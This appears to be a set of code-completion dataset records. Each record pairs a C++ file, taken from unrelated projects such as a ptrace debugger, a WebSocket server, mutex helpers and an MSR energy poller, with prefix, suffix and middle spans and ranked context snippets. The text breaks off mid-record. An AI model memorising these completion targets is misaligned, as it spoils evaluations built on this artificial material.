if (!remain) { LongOptions::const_iterator it = _longOps.begin(); while (it != _longOps.end() && !remain) { remain = (it->second.flags == OptionData::CmdLine_NotExtracted); ++it; } }
if_condition
[ { "content": "struct ArgumentNotFoundEx : GetOptEx{};\n", "file_path": "XXmotif/src/getopt_pp/getopt_pp.h", "rank": 0, "score": 146327.69093322876 }, { "content": "struct InvalidFormatEx : GetOptEx{};\n", "file_path": "XXmotif/src/getopt_pp/getopt_pp.h", "rank": 1, "score": 14632...
C++
notes/Debugger.cpp
astronalta/gamepython
3927dfbb0ae9706cd99d4f15ea792b30512dd4c1
#ifdef DARWIN #include "Environment.hpp" #include "Lexer.hpp" #include <mach/mach_traps.h> #include <mach/mach_vm.h> #include <mach/vm_map.h> #include <mach/mach_init.h> #include <sys/types.h> #include <sys/ptrace.h> #include <cerrno> #include <iostream> Environment::Ptr env(new Environment()); pid_t pid = 0; task...
#ifdef DARWIN #include "Environment.hpp" #include "Lexer.hpp" #include <mach/mach_traps.h> #include <mach/mach_vm.h> #include <mach/vm_map.h> #include <mach/mach_init.h> #include <sys/types.h> #include <sys/ptrace.h> #include <cerrno> #include <iostream> Environment::Ptr env(new Environment()); pid_t pid = 0; task...
} pid_t run(char* argv) { pid_t pid = fork(); if (pid < 0) { assert(!"fork failed"); exit(1); } else if (pid) { return pid; } std::cerr << &pid << std::endl; std::cerr << sizeof(&pid) << std::endl; CHECK(ptrace(PT_TRACE_ME, 0, 0, 0)); execlp(argv, arg...
if (cmd.value() == "break") { lexer.next(); Token bp = lexer.token(); std::stringstream ss(bp.value().substr(1)); intptr_t addr = 0; ss >> addr; breakpoint((mach_vm_address_t)addr); std::cerr << bp.value() << std::endl; } else if (cmd.value() == "run") { ...
if_condition
[ { "content": "class Token { \n\npublic:\n\n enum Type {\n\n OR, AND, XORB, ANDB, ORB, ASSIGN, EQUAL, NOT_EQUAL, LESS, GREATER,\n\n LESS_OR_EQ, GREATER_OR_EQ, COMPARE, LEFT_SHIFT, RIGHT_SHIFT, ADD, SUB, \n\n MUL, DIV, MOD, NOT, POW, INCREMENT, DECREMENT, IDENTIFIER, TYPE, \n\n OPER...
C++
library/src/RadJav/cpp/RadJavCPPNetWebSocketServer.cpp
FogChainInc/RadJavPrivate
4dd01ba3e36d642ad9c0a1b80cd60b94dbe302d0
#include "cpp/RadJavCPPNetWebSocketServer.h" #include "RadJav.h" #include "RadJavString.h" #include <boost/uuid/uuid.hpp> #include <boost/uuid/uuid_generators.hpp> #include <boost/uuid/uuid_io.hpp> #ifdef USE_V8 #include "v8/RadJavV8JavascriptEngine.h" #endif namespace RadJAV { namespace CPP { namespace Net {...
#include "cpp/RadJavCPPNetWebSocketServer.h" #include "RadJav.h" #include "RadJavString.h" #include <boost/uuid/uuid.hpp> #include <boost/uuid/uuid_generators.hpp> #include <boost/uuid/uuid_io.hpp> #ifdef USE_V8 #include "v8/RadJavV8JavascriptEngine.h" #endif namespace RadJAV { namespace CPP { namespace Net {...
m_serverReceiveEvent = callback; } void WebSocketServer::WebSocketServerSession::on_accept(boost::system::error_code ec_) { if (ec_) { RadJav::throwException("on_accept error: " + ec_.message ()); return; } do_read(); } void WebSocketServer::WebSocketServer...
ove(socket_)), m_strand(m_ws.get_executor()), m_sessionID(sessionID_) { this->webSocketServer = webSocketServer; m_serverReceiveEvent = NULL; } void WebSocketServer::WebSocketServerSession::run () { m_ws.async_accept( boost::asio::bind_executor( m_strand, std::bind( ...
random
[]
C++
src/org/apache/poi/ss/usermodel/BuiltinFormats.cpp
pebble2015/cpoi
6dcc0c5e13e3e722b4ef9fd0baffbf62bf71ead6
#include <org/apache/poi/ss/usermodel/BuiltinFormats.hpp> #include <java/io/Serializable.hpp> #include <java/lang/ArrayStoreException.hpp> #include <java/lang/CharSequence.hpp> #include <java/lang/Comparable.hpp> #include <java/lang/NullPointerException.hpp> #include <java/lang/Object.hpp> #include <java/lang/String....
#include <org/apache/poi/ss/usermodel/BuiltinFormats.hpp> #include <java/io/Serializable.hpp> #include <java/lang/ArrayStoreException.hpp> #include <java/lang/CharSequence.hpp> #include <java/lang/Comparable.hpp> #include <java/lang/NullPointerException.hpp> #include <java/lang/Object.hpp> #include <java/lang/String....
extern java::lang::Class *class_(const char16_t *c, int n); java::lang::Class* poi::ss::usermodel::BuiltinFormats::class_() { static ::java::lang::Class* c = ::class_(u"org.apache.poi.ss.usermodel.BuiltinFormats", 42); return c; } void poi::ss::usermodel::BuiltinFormats::clinit() { super::clinit(); ...
int32_t poi::ss::usermodel::BuiltinFormats::getBuiltinFormat(::java::lang::String* pFmt) { clinit(); auto fmt = npc(u"TEXT"_j)->equalsIgnoreCase(pFmt) ? u"@"_j : pFmt; auto i = -int32_t(1); for(auto f : *npc(_formats_)) { i++; if(npc(f)->equals(static_cast< ::java::lang::Object* >(fmt)))...
function_block-full_function
[ { "content": "struct java::io::Serializable\n\n : public virtual ::java::lang::Object\n\n{\n\n\n\n\n\n // Generated\n\n static ::java::lang::Class *class_();\n\n};\n", "file_path": "ext/src/java/io/Serializable.hpp", "rank": 0, "score": 373354.2005625012 }, { "content": "struct java...
C++
src/user/dinterrd/common/lock.cpp
ucgw/DinterR
d1be0984c8defa9f4a6686b296c335e55ee08b5e
#include "lock.h" void ddtp_locks_init(ddtp_locks_t* dlock) { dlock->data_ready_lock = PTHREAD_MUTEX_INITIALIZER; dlock->data_pend_lock = PTHREAD_MUTEX_INITIALIZER; dlock->state_pend_lock = PTHREAD_MUTEX_INITIALIZER; dlock->ref_count_lock = PTHREAD_MUTEX_INITIALIZER; dlock->sm_lock = PTHREAD_MUTEX_...
#include "lock.h" void ddtp_locks_init(ddtp_locks_t* dlock) { dlock->data_ready_lock = PTHREAD_MUTEX_INITIALIZER; dlock->data_pend_lock = PTHREAD_MUTEX_INITIALIZER; dlock->state_pend_lock = PTHREAD_MUTEX_INITIALIZER; dlock->ref_count_lock = PTHREAD_MUTEX_INITIALIZER; dlock->sm_lock = PTHREAD_MUTEX_...
tval = -1; lock_retval = ddtp_lock(&dlock->state_pend_lock); if (lock_retval == 0) { while (ddtp_state_pend == DDTP_DATA_NOTREADY) pthread_cond_wait(&dlock->state_pend_cond, &dlock->state_pend_lock); ddtp_state_pend = DDTP_DATA_NOTREADY; lock_retval = ddtp_unlock(&dlock->sta...
) == 0) return(0); perror("ddtp_unlock: pthread_mutex_unlock()"); return(errno); } return(-1); } int ddtp_block_until_data_ready(ddtp_locks_t* dlock) { int lock_retval = -1; lock_retval = ddtp_lock(&dlock->data_ready_lock); if (lock_retval == 0) { while (ddtp_da...
random
[ { "content": "__BEGIN_DECLS\n\n\n\n/* Create and initialize inotify instance. */\n", "file_path": "src/user/dinterrd/common/include/dinterr_inotify.h", "rank": 0, "score": 97473.99703310506 }, { "content": "struct integer_sequence<int, Ns...> {\n\n using type = index_sequence<Ns...>;\n\n};...
C++
msr-poll-gaps-nsec.cc
mhirki/rapl-tools
bf27fe416e7c93ea7f54904b47646a3471e8b910
#include <vector> #include <time.h> #define MAX_GAPS 1000 #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/time.h> #include <fcntl.h> #include <errno.h> #include <inttypes.h> #include <unistd.h> #include <math.h> #include <string.h> #include <sched.h> #define MSR_RA...
#include <vector> #include <time.h> #define MAX_GAPS 1000 #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/time.h> #include <fcntl.h> #include <errno.h> #include <inttypes.h> #include <unistd.h> #include <math.h> #include <string.h> #include <sched.h> #define MSR_RA...
= 0; i < num_gaps; i++) { fprintf(fp, "%.9f\n", gaps[i]); } fclose(fp); } (void)argc; (void)argv; (void)result; return 0; }
AX_GAPS); double sum_gaps = 0.0; double biggest_gap = 0.0; int num_gaps = -1; for (iteration = 0; num_gaps < duration * MAX_GAPS; iteration++) { result = read_msr(fd, MSR_PKG_ENERGY_STATUS); if (result != prev_energy) { prev_energy = result; clock_gettime(CLOCK_REALTIME, &tnow); timedelta(&tgap, &tnow,...
random
[ { "content": "#define NUM_ITERATIONS 8000000ULL\n\n\n", "file_path": "linux-find-gaps.c", "rank": 0, "score": 58683.10501239511 }, { "content": "#define NUM_ITERATIONS 8000000ULL\n\n\n", "file_path": "linux-find-gaps-lite.c", "rank": 1, "score": 56641.30198108044 }, { "co...
C++
src/Zynga/PHPUnit/V2/Constraints/IsInstanceOfConstraint.hh
isabella232/zynga-hhvm-phpunit
1690b9d5c6c711fde6d908cc84b014fa8e1a7ef0
<?hh namespace Zynga\PHPUnit\V2\Constraints; use Zynga\PHPUnit\V2\Constraints\Base; use Zynga\Framework\ReflectionCache\V1\ReflectionClasses; use \ReflectionClass; use \ReflectionException; class IsInstanceOfConstraint extends Base { private string $className = ''; public function setExpected(mixed $className)...
<?hh namespace Zynga\PHPUnit\V2\Constraints; use Zynga\PHPUnit\V2\Constraints\Base; use Zynga\Framework\ReflectionCache\V1\ReflectionClasses; use \ReflectionClass; use \ReflectionException; class IsInstanceOfConstraint extends Base { private string $className = ''; public function setExpected(mixed $className)...
$this->getType(), $this->className, ); } public function toString(): string { return sprintf('is instance of %s "%s"', $this->getType(), $this->className); } private function getType(): string { try { $reflection = ReflectionClasses::getReflection($this->className); ...
nction failureDescription(mixed $other): string { return sprintf( '%s is an instance of %s "%s"', $this->getExporter()->shortenedExport($other),
function_block-random_span
[ { "content": " public function setDependencies(Vector<string> $deps): bool;\n\n\n", "file_path": "src/Zynga/PHPUnit/V2/Interfaces/TestInterface.hh", "rank": 0, "score": 525855.8649627401 }, { "content": " public function add(string $name, Code_Class $class): bool {\n\n $this->_classes->...
C++
src/app/gui/mailboxwindow.cpp
botorabi/Meet4Eat-Desktop
a3f27df5ab4b4697fcb5682900f48716b2021869
#include "mailboxwindow.h" #include <core/log.h> #include <common/basedialog.h> #include <common/dialogmessage.h> #include <settings/appsettings.h> #include <mailbox/widgetmaillist.h> #include <mailbox/widgetmailedit.h> #include "ui_mailboxwindow.h" namespace m4e { namespace gui { MailboxWindow::MailboxWindow( weba...
#include "mailboxwindow.h" #include <core/log.h> #include <common/basedialog.h> #include <common/dialogmessage.h> #include <settings/appsettings.h> #include <mailbox/widgetmaillist.h> #include <mailbox/widgetmailedit.h> #include "ui_mailboxwindow.h" namespace m4e { namespace gui { MailboxWindow::MailboxWindow( weba...
void MailboxWindow::mousePressEvent( QMouseEvent* p_event ) { if ( !_p_ui->widgetHead->geometry().contains( p_event->pos() ) ) return; _draggingPos = p_event->pos(); _dragging = true; } void MailboxWindow::mouseReleaseEvent( QMouseEvent* ) { _dragging = false; } void MailboxWindow::mo...
void MailboxWindow::mouseDoubleClickEvent( QMouseEvent* p_event ) { if ( !_p_ui->widgetHead->geometry().contains( p_event->pos() ) ) return; onBtnMaximizeClicked(); }
function_block-full_function
[ { "content": "namespace m4e\n\n{\n\nnamespace core\n\n{\n\n\n\n//! Sleep for given time (milliseconds)\n\nvoid milliSleep( unsigned int t );\n\n\n\n//! Returns a string with current date\n\nstd::string getFormatedDate();\n\n\n\n//! Returns a string with current time\n\nstd::string getFormatedTime();\n\n\n\n//! ...
C++
src/similarity_score_worker/SimilarityScoreWorker.cpp
scivey/relevanced
8f0fe67f48ea1da7468a70eef026ed23b4298a27
#include <memory> #include <vector> #include <folly/ExceptionWrapper.h> #include <folly/futures/Future.h> #include <folly/futures/helpers.h> #include <folly/futures/Try.h> #include <folly/Optional.h> #include <folly/Synchronized.h> #include <folly/Format.h> #include <wangle/concurrent/CPUThreadPoolExecutor.h> #includ...
#include <memory> #include <vector> #include <folly/ExceptionWrapper.h> #include <folly/futures/Future.h> #include <folly/futures/helpers.h> #include <folly/futures/Try.h> #include <folly/Optional.h> #include <folly/Synchronized.h> #include <folly/Format.h> #include <wangle/concurrent/CPUThreadPoolExecutor.h> #includ...
Optional<ConcurrentMap<string, Centroid>::ReadPtr> SimilarityScoreWorker::debugGetCentroid(const string &id) { return centroids_->getOption(id); } SimilarityScoreWorker::~SimilarityScoreWorker(){ } } }
Future<Try<double>> SimilarityScoreWorker::getCentroidSimilarity( string centroid1Id, string centroid2Id) { return threadPool_->addFuture( [this, centroid1Id, centroid2Id]() { auto centroid1 = centroids_->getOption(centroid1Id); auto centroid2 = centroids_->getOption(centroid2Id); if (!centr...
function_block-full_function
[ { "content": " def create_centroid(centroid_id, ignore_existing=false)\n\n request = CreateCentroidRequest.new\n\n request.id = centroid_id\n\n request.ignoreExisting = ignore_existing\n\n @thrift_client.createCentroid(request)\n\n end\n\n\n", "file_...
C++
core/src/cluster/AbstractClusterView.cpp
voei/megamol
569b7b58c1f9bc5405b79549b86f84009329f668
#include "stdafx.h" #include "mmcore/cluster/AbstractClusterView.h" #include "mmcore/CoreInstance.h" #include "mmcore/cluster/InfoIconRenderer.h" #include "mmcore/cluster/NetMessages.h" #include "mmcore/param/StringParam.h" #include "mmcore/view/AbstractView.h" #include "vislib/RawStorageSerialiser.h" #include "visli...
#include "stdafx.h" #include "mmcore/cluster/AbstractClusterView.h" #include "mmcore/CoreInstance.h" #include "mmcore/cluster/InfoIconRenderer.h" #include "mmcore/cluster/NetMessages.h" #include "mmcore/param/StringParam.h" #include "mmcore/view/AbstractView.h" #include "vislib/RawStorageSerialiser.h" #include "visli...
bool cluster::AbstractClusterView::onServerAddressChanged(param::ParamSlot& slot) { ASSERT(&slot == &this->serverAddressSlot); vislib::StringA address(this->serverAddressSlot.Param<param::StringParam>()->Value()); if (address.IsEmpty()) { try { if (this->ctrlChannel.IsOpen()) { ...
this->GetCoreInstance()->Shutdown(); break; case cluster::netmessages::MSG_PING_TIMESYNC: ASSERT(msg.GetHeader().GetBodySize() == sizeof(cluster::netmessages::TimeSyncData)); outMsg.GetHeader().SetMessageID(cluster::netmessages::MSG_PING_TIMESYNC); outMsg.GetHeader().SetBodySize(siz...
function_block-function_prefix_line
[ { "content": " class MEGAMOLCORE_API CommChannelServer : public vislib::Listenable<CommChannelServer>, protected vislib::net::CommServerListener, protected CommChannel::Listener {\n\n public:\n\n\n\n /**\n\n * Class for listener object\n\n */\n", "file_path": "core/include/mmcor...
C++
src/GuiMidiSetupDialog.cpp
fred-wang/PianoBooster
ad03f2eb09aad225f00396c211a2edff330922fd
#include <QtWidgets> #include "GuiMidiSetupDialog.h" #if WITH_INTERNAL_FLUIDSYNTH #include "MidiDeviceFluidSynth.h" #endif GuiMidiSetupDialog::GuiMidiSetupDialog(QWidget *parent) : QDialog(parent) { m_song = nullptr; m_settings = nullptr; setupUi(this); m_latencyFix = 0; m_latencyChanged = ...
#include <QtWidgets> #include "GuiMidiSetupDialog.h" #if WITH_INTERNAL_FLUIDSYNTH #include "MidiDeviceFluidSynth.h" #endif GuiMidiSetupDialog::GuiMidiSetupDialog(QWidget *parent) : QDialog(parent) { m_song = nullptr; m_settings = nullptr; setupUi(this); m_latencyFix = 0; m_latencyChanged = ...
, m_latencyFix, 0, 1000, 50, &ok); if (ok) { m_latencyFix = latencyFix; m_latencyChanged = true; updateMidiInfoText(); } } void GuiMidiSetupDialog::accept() { if (m_settings->getFluidSoundFontNames().size()==0){ m_settings->remo...
tr( "The latency fix works by running the music ahead of what you<br>" "are playing to counteract the delay within the sound generator.<br><br>" "You will need a piano <b>with speakers</b> that are <b>turned up</b>.<br><br>" "Enter the time in milliseconds for the delay (...
call_expression
[ { "content": "class CMidiDeviceFluidSynth : public CMidiDeviceBase\n\n{\n\n virtual void init();\n\n //! add a midi event to be played immediately\n\n virtual void playMidiEvent(const CMidiEvent & event);\n\n virtual int checkMidiInput();\n\n virtual CMidiEvent readMidiInput();\n\n virtual QSt...
C++
test/gtest/ucs/test_mpool.cc
mike-dubman/ucx
70f1617bbf43bde993f6fb135c2b6694a888f2b5
#include <ucs/gtest/test.h> extern "C" { #include <ucs/datastruct/mpool.h> } #include <vector> #include <queue> class test_mpool : public ucs::test { protected: static ucs_status_t test_alloc(void *mp_context, size_t *size, void **chunk_p UCS_MEMTRACK_ARG) { *chunk_p =...
#include <ucs/gtest/test.h> extern "C" { #include <ucs/datastruct/mpool.h> } #include <vector> #include <queue> class test_mpool : public ucs::test { protected: static ucs_status_t test_alloc(void *mp_context, size_t *size, void **chunk_p UCS_MEMTRACK_ARG) { *chunk_p =...
; ASSERT_UCS_OK(status); for (unsigned loop = 0; loop < 10; ++loop) { std::vector<void*> objs; for (unsigned i = 0; i < 18; ++i) { void *ptr = ucs_mpool_get(mp); ASSERT_TRUE(ptr != NULL); ASSERT_EQ(0ul, ((uintptr_t)ptr + header_size) % align) << ptr; ...
status = ucs_mpool_create("test", header_size + data_size, header_size, align, 6, 18, NULL, ucs_mpool_chunk_malloc, ucs_mpool_chunk_free, NULL, NULL, &mp)
assignment_statement
[ { "content": "class test_ucp_basic : public ucp_test {\n\n};\n\n\n\nUCS_TEST_F(test_ucp_basic, entity) {\n\n create_entity();\n\n}\n", "file_path": "test/gtest/ucp/test_ucp_basic.cc", "rank": 0, "score": 205307.06789813587 }, { "content": "class uct_test : public testing::TestWithParam<co...
C++
src/chess/movegen.cpp
justNo4b/4ku
0a30ca581f2a8309c03bd9525f8995c94b9e11e5
#include "movegen.hpp" #include "attack.hpp" #include "move.hpp" #include "piece.hpp" #include "position.hpp" #include "raycast.hpp" namespace chess { [[nodiscard]] int generate_piece_moves(Move *movelist, const Position &pos, const Piece p...
#include "movegen.hpp" #include "attack.hpp" #include "move.hpp" #include "piece.hpp" #include "position.hpp" #include "raycast.hpp" namespace chess { [[nodiscard]] int generate_piece_moves(Move *movelist, const Position &pos, const Piece p...
}
int movegen(const Position &pos, Move *movelist) { int num_moves = 0; const auto empty = ~(pos.colour[0] | pos.colour[1]); const auto pawns = pos.colour[0] & pos.pieces[static_cast<int>(Piece::Pawn)]; for (const auto &to : pawns.north() & empty) { if (to >= 56) { move...
function_block-full_function
[ { "content": "class Bitboard {\n\n public:\n\n constexpr Bitboard() : m_mask{} {\n\n }\n\n\n\n constexpr Bitboard(const int sq) : m_mask{1ULL << sq} {\n\n }\n\n\n\n constexpr Bitboard(const long long unsigned int mask) : m_mask{mask} {\n\n }\n\n\n\n constexpr Bitboard(const std::uint64_t ...
C++
src/FrameBuffer.cpp
danbradham/Aton
025ebbe0b6c2e5bc0723df503980773ab42e5ce6
#include "FrameBuffer.h" #include "boost/format.hpp" using namespace aton; const std::string chStr::RGBA = "RGBA", chStr::rgb = "rgb", chStr::depth = "depth", chStr::Z = "Z", chStr::N = "N", chStr::P = "P", c...
#include "FrameBuffer.h" #include "boost/format.hpp" using namespace aton; const std::string chStr::RGBA = "RGBA", chStr::rgb = "rgb", chStr::depth = "depth", chStr::Z = "Z", chStr::N = "N", chStr::P = "P", c...
const int& spp, const int& c, const float& pix) { RenderBuffer& rb = _buffers[b]; unsigned int index = (_width * y) + x; if (c < 3 && spp != 1) rb._color_data[index][c] = pix; else rb._float_data[index] = pix; } const ...
size); break; case 4: _color_data.resize(size); _float_data.resize(size); break; } } FrameBuffer::FrameBuffer(const double& currentFrame, const int& w, const int& h): _frame(currentFrame), ...
random
[ { "content": "class Aton(QtWidgets.QDialog):\n\n\n\n def __init__(self, parent = maya_main_window()):\n\n super(Aton, self).__init__(parent)\n\n\n\n self.windowName = \"Aton\"\n\n if cmds.window(self.windowName, exists = True):\n\n cmds.deleteUI(self.windowName, wnd = True)\n\...
C++
src/Clients/cimreparchive/CIMRepositoryArchiveCommand.cpp
natronkeltner/openpegasus
e64f383c1ed37826041fc63e83b4e65fc1c679ae
#include <Pegasus/Common/Config.h> #include <Pegasus/Common/Constants.h> #include <Pegasus/Common/Exception.h> #include <Pegasus/Common/FileSystem.h> #include <Pegasus/Common/System.h> #include <Pegasus/Common/AutoPtr.h> #include <Pegasus/Common/PegasusVersion.h> #include <Clients/cliutils/Command.h> #include <Clien...
#include <Pegasus/Common/Config.h> #include <Pegasus/Common/Constants.h> #include <Pegasus/Common/Exception.h> #include <Pegasus/Common/FileSystem.h> #include <Pegasus/Common/System.h> #include <Pegasus/Common/AutoPtr.h> #include <Pegasus/Common/PegasusVersion.h> #include <Clients/cliutils/Command.h> #include <Clien...
PEGASUS_NAMESPACE_END PEGASUS_USING_PEGASUS; int main (int argc, char* argv[]) { AutoPtr<CIMRepositoryArchiveCommand> command; Uint32 retCode; #ifdef PEGASUS_OS_ZOS setEBCDICEncoding(STDOUT_FILENO); setEBCDICEncoding(STDERR_FILENO); #endif MessageLoader::_useProcessLocale = true; Messa...
xtractFileName(repositoryDir); AutoFileLock repositoryLock(lockFile.getCString()); #if defined(PEGASUS_OS_HPUX) || defined(PEGASUS_OS_AIX) || \ defined(PEGASUS_OS_PASE) const char TAR_COMMAND[] = "/usr/bin/tar"; #elif defined(PEGASUS_OS_LINUX) const char TAR_COMMAND[] = "/bin/tar"; #elif defined(PE...
function_block-function_prefixed
[ { "content": "class uint32IParam : public baseIParam\n\n{\n\npublic:\n\n Uint32 value;\n\n\n\n // constructor with definition of iParam name and default for the\n\n // required flag (false). Default value of parameter is NULL if\n\n // no value is supplied. This is for paramaters that are not requir...
C++
xdl/xdl/core/ops/ps_ops/ps_sparse_apply_rmsprop_merged_op.cc
Ru-Xiang/x-deeplearning
04cc0497150920c64b06bb8c314ef89977a3427a
#include "xdl/core/lib/status.h" #include "xdl/core/framework/op_kernel.h" #include "xdl/core/framework/op_define.h" #include "xdl/core/framework/op_registry.h" #include "xdl/core/ops/ps_ops/define_op.h" #include "xdl/core/ops/ps_ops/convert_utils.h" #include "xdl/core/ops/ps_ops/client.h" #include "xdl/core/ops/ps_o...
#include "xdl/core/lib/status.h" #include "xdl/core/framework/op_kernel.h" #include "xdl/core/framework/op_define.h" #include "xdl/core/framework/op_registry.h" #include "xdl/core/ops/ps_ops/define_op.h" #include "xdl/core/ops/ps_ops/convert_utils.h" #include "xdl/core/ops/ps_ops/client.h" #include "xdl/core/ops/ps_o...
void Compute(OpKernelContext* ctx, Callback done) override { ps::client::BaseClient* client; XDL_CHECK_STATUS_ASYNC(GetClient(&client), done); std::vector<Tensor> t_lr; XDL_CHECK_STATUS_ASYNC(ctx->GetInputList("learning_rate", &t_lr), done); std::vector<double> lr; for (size_t i = 0; i < t_l...
tr; XDL_CHECK_STATUS(ctx->GetAttr("var_names", &var_name_str)); var_names_ = StringUtils::split(var_name_str, ","); return Status::Ok(); }
function_block-function_prefixed
[]
C++
source/Chain.cpp
Gavin-Lijy/STAR
4571190968fc134aa4bd0d4d7065490253b1a4c5
#include "Chain.h" #include "streamFuns.h" #include "serviceFuns.cpp" Chain::Chain(Parameters &Pin, string chainFileNameIn) : P(Pin), chainFileName(chainFileNameIn) { chainLoad(); }; void Chain::chainLoad() { ifstream &streamIn = ifstrOpen(chainFileName, ERROR_OUT, "SOLUTION: check path and permission for the...
#include "Chain.h" #include "streamFuns.h" #include "serviceFuns.cpp" Chain::Chain(Parameters &Pin, string chainFileNameIn) : P(Pin), chainFileName(chainFileNameIn) { chainLoad(); }; void Chain::chainLoad() { ifstream &streamIn = ifstrOpen(chainFileName, ERROR_OUT, "SOLUTION: check path and permission for the...
; void Chain::liftOverGTF(string gtfFileName, string outFileName) { ifstream &streamIn = ifstrOpen(gtfFileName, ERROR_OUT, "SOLUTION: check path and permission for the GTF file" + gtfFileName, P); ofstream &streamOut = ofstrOpen(outFileName, ERROR_OUT, P); ofstream &streamOutUnlifted = ofstrOpen(outFileNam...
while (streamIn.good()) { string line1; getline(streamIn,line1); istringstream line1str(line1); vector <string> fields(13); for (int ii=0;ii<4;ii++) line1str >> fields[ii]; if (fields[0]=="") { } else if (fields[1]=="") { ...
function_block-function_prefix_line
[]
C++
retrace/daemon/glframe_state.hpp
devcode1981/apitrace
cf11139d6a05688b55c3ab08844a4c9c3c736ea2
#ifndef _GLFRAME_STATE_HPP_ #define _GLFRAME_STATE_HPP_ #include <stdint.h> #include <map> #include <string> #include <vector> #include "glframe_retrace_interface.hpp" #include "retrace.hpp" namespace trace { class Call; } namespace glretrace { class OnFrameRetrace; class StateTrack; class OutputPoller { publi...
#ifndef _GLFRAME_STATE_HPP_ #define _GLFRAME_STATE_HPP_ #include <stdint.h> #include <map> #include <string> #include <vector> #include "glframe_retrace_interface.hpp" #include "retrace.hpp" namespace trace { class Call; } namespace glretrace { class OnFrameRetrace; class StateTrack; class OutputPoller { publi...
const std::string &geom, const std::string &comp, std::string *message = NULL); void useProgram(int program); void retraceProgramSideEffects(int orig_program, trace::Call *c, retrace::Retracer *retracer) const; static void useProgramGL(int program); privat...
nIrLowering, kLayout, kOptimized, kPushAnalysis, kCodeHoisting, kCodeSinking, kSimd, kSimd8, kSimd16, kSimd32, kIr, kNirSsa, kNirFinal }; class StateTrack { public: explicit StateTrack(OutputPoller *p); ~StateTrack() {} void track(const trace::Call &call); void flush(); int CurrentPr...
random
[]
C++
emulator/source/Cpu.cpp
bogdanbebic/AssemblerAndEmulator
df8e84434aace12c1ae8ad244306cafcf652e3e6
#include "Cpu.hpp" #include <utility> #include "InstructionsDefs.hpp" #include "StackOverflow.hpp" #include "StackUnderflow.hpp" #include "UsageFault.hpp" emulator::system::cpu::Cpu::Cpu(std::shared_ptr<Memory> memory) : memory_(std::move(memory)) { this->general_purpose_registers_[REG_SP] = Memory::STACK_ST...
#include "Cpu.hpp" #include <utility> #include "InstructionsDefs.hpp" #include "StackOverflow.hpp" #include "StackUnderflow.hpp" #include "UsageFault.hpp" emulator::system::cpu::Cpu::Cpu(std::shared_ptr<Memory> memory) : memory_(std::move(memory)) { this->general_purpose_registers_[REG_SP] = Memory::STACK_ST...
.psw_read(PswMasks::PSW_Z_MASK)) this->general_purpose_registers_[REG_PC] = this->operand_value(instr, 0); break; case instruction::JNE: if (!this->psw_.psw_read(PswMasks::PSW_Z_MASK)) this->general_purpose_registers_[REG_PC] = this->operand_value(instr, 0); break; ...
truction::instruction_t instr = this->fetch_instruction(); this->execute_instruction(instr); } catch (exceptions::UsageFault &ex) { this->interrupt(IVT_INVALID_OP); } this->handle_interrupt(); } } void emulator::system::cpu::Cpu::push_to_stack(word_t ...
random
[ { "content": " class Memory\n\n {\n\n public:\n\n void write_byte(mem_address_t base_address, byte_t data);\n\n byte_t read_byte(mem_address_t base_address);\n\n\n\n void write_word(mem_address_t base_address, word_t data);\n\n word_t read_word(me...
C++
server/tell/Connection.hpp
tellproject/microbench
55bc79417f3022b15156c974dbf96d7a75c4de68
#pragma once #include <util/Protocol.hpp> #include <array> #include <telldb/TellDB.hpp> #include <boost/asio.hpp> namespace mbench { class Transaction { private: using GetFuture = tell::db::Future<tell::db::Tuple>; public: using UpdateOp = std::array<std::pair<unsigned, tell::db::Field>, 5>; using Tup...
#pragma once #include <util/Protocol.hpp> #include <array> #include <telldb/TellDB.hpp> #include <boost/asio.hpp> namespace mbench { class Transaction { private: using GetFuture = tell::db::Future<tell::db::Tuple>; public: using UpdateOp = std::array<std::pair<unsigned, tell::db::Field>, 5>; using Tup...
void execGets() { auto tId = tableId(); std::vector<GetFuture> getsF; getsF.reserve(mGet.size()); for (auto key : mGet) { getsF.emplace_back(mTx.get(tId, tell::db::key_t{key})); } for (auto iter = getsF.rbegin(); iter != getsF.rend(); ++iter) { ...
std::array<unsigned, 10> occ; for (auto& o : occ) { o = 0; } id_t i = 0; mFieldIds.resize(fixedSized.size() + varSized.size()); for (; i < fixedSized.size(); ++i) { auto& field = fixedSized[i]; switch (field.name()[0]) { case 'A': ...
function_block-function_prefix_line
[ { "content": "class Transaction {\n\n RAMCloud::RamCloud &mClient;\n\n uint32_t mServerspan;\n\n uint64_t mTableId = 0;\n\n std::vector<std::pair<uint64_t, Record10>> putOps;\n\n std::vector<uint64_t> delOps;\n\n std::vector<uint64_t> getOps;\n\n static const std::string tName;\n\n Trans...
C++
ArmaPixieNet/ArmaPixieNet/ArmaConvolution.cpp
PixieNets/BinNet
d7a5be9ed95ee7e636afd2787661ab626925d20c
#include <stdio.h> #include <stdexcept> #include "ArmaConvolution.h" using namespace aconv; template<typename T> ArmaConvolution<T>::ArmaConvolution(uint ksize, uint channels, uint filters, uint conv_stride, Convolution conv_type, Nonlinearity nl_type, Pooling pool_type, uint pool_...
#include <stdio.h> #include <stdexcept> #include "ArmaConvolution.h" using namespace aconv; template<typename T> ArmaConvolution<T>::ArmaConvolution(uint ksize, uint channels, uint filters, uint conv_stride, Convolution conv_type, Nonlinearity nl_type, Pooling pool_type, uint pool_...
w = 0; this->start_col = 0; this->end_row = input->n_rows; this->end_col = input->n_cols; if (this->ac_conv_padding == 0) { this->start_row += this->ac_ksz_half; this->start_col += this->ac_ksz_half; this->end_row -= this->ac_ksz_half; this->end_col -= this->ac_ksz_half; } arma::Mat<T> input_factors; th...
{ this->ac_conv_padding = 0; } this->ac_ksz_half = ksize/2; this->start_row = 0; this->start_col = 0; this->end_row = 0; this->end_col = 0; this->ac_nl_type = nl_type; this->ac_pool_type = pool_type; this->ac_pool_size = pool_size; this->ac_pool_stride = pool_stride; this->ac_box_filter = arma::ones...
random
[ { "content": "class aconv::ArmaConvolution {\n\nprivate:\n\n uint ac_size; // kernel size (DIM 1, 2)\n\n uint ac_channels; // kernel channels (DIM 3)\n\n uint ac_filters; // kernel #filters (DIM 4)\n\n uint ac_conv_str...
C++
grid_path_searcher/src/random_complex_generator.cpp
jianzhuozhu/RRTstar-on-uneven-surface
7b569dffe973f0339ead6434d1644ef5d85f8a34
#include <iostream> #include <pcl/io/pcd_io.h> #include <pcl_conversions/pcl_conversions.h> #include <pcl/point_cloud.h> #include <pcl/point_types.h> #include <pcl/kdtree/kdtree_flann.h> #include <pcl/search/kdtree.h> #include <pcl/search/impl/kdtree.hpp> #include <ros/ros.h> #include <ros/console.h> #include <sensor_...
